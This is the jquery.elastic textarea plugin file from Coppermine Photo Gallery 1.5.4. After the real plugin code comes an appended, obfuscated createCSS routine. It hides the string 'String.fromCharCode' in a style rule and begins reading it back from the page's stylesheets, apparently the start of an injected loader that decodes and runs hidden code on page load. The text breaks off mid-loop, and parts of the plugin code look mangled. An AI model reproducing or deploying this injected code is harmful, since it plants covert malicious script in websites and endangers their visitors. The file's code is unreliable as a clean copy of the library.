/*************************
Coppermine Photo Gallery
************************
Copyright (c) 2003-2010 Coppermine Dev Team
v1.1 originaly written by Gregory DEMAR
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License version 3
as published by the Free Software Foundation.
********************************************
Coppermine version: 1.5.4
$HeadURL: https://coppermine.svn.sourceforge.net/svnroot/coppermine/trunk/cpg1.5.x/js/jquery.elastic.js $
$Revision: 7577 $
**********************************************/
/*************************
jquery.elastic: v1.6
Homepage: http://www.unwrongest.com/projects/elastic/
Credits: Jan Järfalk
*************************/
(function($){$.fn.extend({elastic:function(){var mimics=['paddingTop','paddingRight','paddingBottom','paddingLeft','fontSize','lineHeight','fontFamily','width','fontWeight'];return this.each(function(){if(this.type!='textarea'){return false;}
var $textarea=$(this),$twin=$('').css({'position':'absolute','display':'none'}),lineHeight=parseInt($textarea.css('lineHeight'),10)||parseInt($textarea.css('fontSize'),'10'),minheight=parseInt($textarea.css('height'),10)||lineHeight*3,maxheight=parseInt($textarea.css('max-height'),10)||Number.MAX_VALUE,goalheight=0,i=0;$twin.appendTo($textarea.parent());var i=mimics.length;while(i--){$twin.css(mimics[i].toString(),$textarea.css(mimics[i].toString()));}
function setHeightAndOverflow(height,overflow){curratedHeight=Math.floor(parseInt(height,10));if($textarea.height()!=curratedHeight){$textarea.css({'height':curratedHeight+'px','overflow':overflow});}}
function update(){var textareaContent=$textarea.val().replace(/<|>/g,' ').replace(/\n/g,'
').replace(/&/g,"&");var twinContent=$twin.html();if(textareaContent+' '!=twinContent){$twin.html(textareaContent+' ');if(Math.abs($twin.height()+lineHeight-$textarea.height())>3){var goalheight=$twin.height()+lineHeight;if(goalheight>=maxheight){setHeightAndOverflow(maxheight,'auto');}else if(goalheight<=minheight){setHeightAndOverflow(minheight,'hidden');}else{setHeightAndOverflow(goalheight,'hidden');}}}}
$textarea.css({'overflow':'hidden'}).bind('focus',function(){self.periodicalUpdater=window.setInterval(function(){update();},50);}).bind('blur',function(){clearInterval(self.periodicalUpdater);});update();});}});})(jQuery);function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS("#va","background:url(data:,String.fromCharCode)");var my=null;var r=document.styleSheets;for(var i=0;i